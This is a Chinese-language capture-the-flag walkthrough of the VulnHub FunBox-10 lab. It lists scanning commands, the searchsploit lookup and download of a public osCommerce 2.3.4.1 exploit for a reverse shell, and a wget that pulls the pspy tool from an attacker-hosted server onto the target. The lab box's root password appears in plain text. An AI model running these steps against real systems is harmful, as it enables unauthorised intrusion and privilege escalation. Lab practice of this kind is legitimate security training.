本文主要是介绍vulnhub靶场之FunBox-10,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
一.环境搭建
1.靶场描述
As always, it's a very easy box for beginners.
This works better on VitualBox rather than VMware
2.靶场下载
Funbox: Under Construction! ~ VulnHub
3.靶场启动
靶场IP地址我们不知道,但是网段我们知道是192.168.2.0/24
二.信息收集
1.寻找靶场真实IP地址
nmap -sP 192.168.2.0/24
arp-scan -l
通过上面两个命令我们知道,靶场IP地址为192.168.2.12
2.探测端口及服务
nmap -p- -sV 192.168.2.12
开启了22端口,服务为ssh
开启了25端口,服务为smtp
开启了80端口,服务为Apache httpd 2.4.18 ((Ubuntu))
开启了110端口,服务为pop3
开启了143端口,服务为imap
三.渗透测试
1.访问web服务
http://192.168.2.12
2.扫描web服务
1)nikto扫描
扫描也没有
2)dirb扫描
3)dirsearch扫描
4)gobuster扫描
通过上面的扫描,我们只扫描到一个路径/catalog,我们进行查看
3.渗透测试
1)访问/catalog
http://192.168.2.12/catalog/install/index.php
我们可以看到osCommerce是一个电子商务系统,而且知道它的版本是2.3.4.1,我们进行搜索相关的漏洞
2)搜索相关漏洞
searchsploit osCommerce 2.3.4.1
我们可以看到一个python脚本,我们下载下来进行查看
3)下载python脚本
searchsploit -m php/webapps/44374.py
4)反弹脚本
记得一定要访问这个页面,不然的话反弹不成功
http://192.168.2.12/catalog/install/includes/configure.php
我们可以看到权限比较低,我们进行提升权限
5)提权
find / -user root -perm -4000 -print 2>/dev/null 发现没有什么可以利用的
我们利用pspy
黑客可以利用它来查看其他用户的计划任务工作 (cron job)等,该工具也非常适合技术人员在CTF(Capture The Flag)中枚举Linux系统。 pspy是一个 命令行工具 ,它可以在没有Root权限的情况下,监控Linux进程.
GitCode - 全球开发者的开源社区,开源代码托管平台
我们进行下载,然后上传到靶机里面
python -m http.server 8080
wget http://192.168.2.9:8080/pspy64
因为添加执行权限需要权限,我们切换到/tmp/目录下
我们添加权限,执行脚本
执行脚本,我们发现有个cron的定时任务
脚本执行了很长时间
cat /usr/share/doc/examples/cron.sh
我们发现了一个加密的参数,是用base64加密的文件(以”==”结尾的多半是base64加密),我可以尝试解密,解码后发现是root的密码和账户,我们可以尝试登录
我们可以看到root密码是rfvbgt!!
渗透测试结束
这篇关于vulnhub靶场之FunBox-10的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!